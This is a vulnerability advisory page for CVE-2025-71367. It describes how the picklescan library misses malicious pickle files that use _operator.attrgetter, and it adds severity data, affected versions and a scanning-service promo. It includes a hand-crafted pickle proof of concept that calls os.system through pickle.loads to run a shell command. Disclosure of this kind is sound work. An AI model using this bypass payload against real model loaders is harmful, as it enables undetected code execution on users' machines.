🛡️ CVE-2025-71367 — picklescan
Description
Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter
Summary
Picklescan uses _operator.attrgetter, which is a built-in python library function to execute remote pickle files.
Details
The attack payload executes in the following steps:
- First, the attacker crafts the payload by calling the _operator.attrgetter function in the reduce method.
- Then, when the victim, after checking whether the pickle file is safe by using the Picklescan library and finding that this library doesn't detect any dangerous functions, decides to call pickle.load() on this malicious pickle file, it leads to remote code execution.
PoC
```
import pickle
import pickletools
opcode3 = b'''cbuiltins
__import__
(Vos
tRp0
0c_operator
attrgetter
(Vsystem
tR(g0
tR(Vecho "pwned by _operator.attrgetter"
tR.'''
pickletools.dis(opcode3)
pickle.loads(opcode3)
```
This PoC can't be easily create by pickle.dumps, so it was manually built.
Impact
Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Report by
Pinji Chen ([email protected]) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu ([email protected]).
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.
Weakness class
CVE-2025-71367 is classified as CWE-502: Deserialization of Untrusted Data. Serialised data from an untrusted source is reconstructed into objects, which can trigger code during the process.
Affected software
CVE-2025-71367 is recorded against 2 packages.
- picklescan (fixed in 0.0.34)
- unknown
Timeline and source
Published on 30 December 2025 and last revised on 8 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| picklescan | — | 0.0.34 |
| unknown | — | — |
References
Similar Threats
- High CVE-2025-71339
- Critical CVE-2025-71321
- Critical CVE-2025-71320
- High CVE-2025-71322
- Critical CVE-2025-71323
More CVE 2025 advisories
Browse all of CVE 2025 in the advisory index.
Site Security Check
Is picklescan part of your stack?
CVE-2025-71367 is rated CVSS 8.1 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.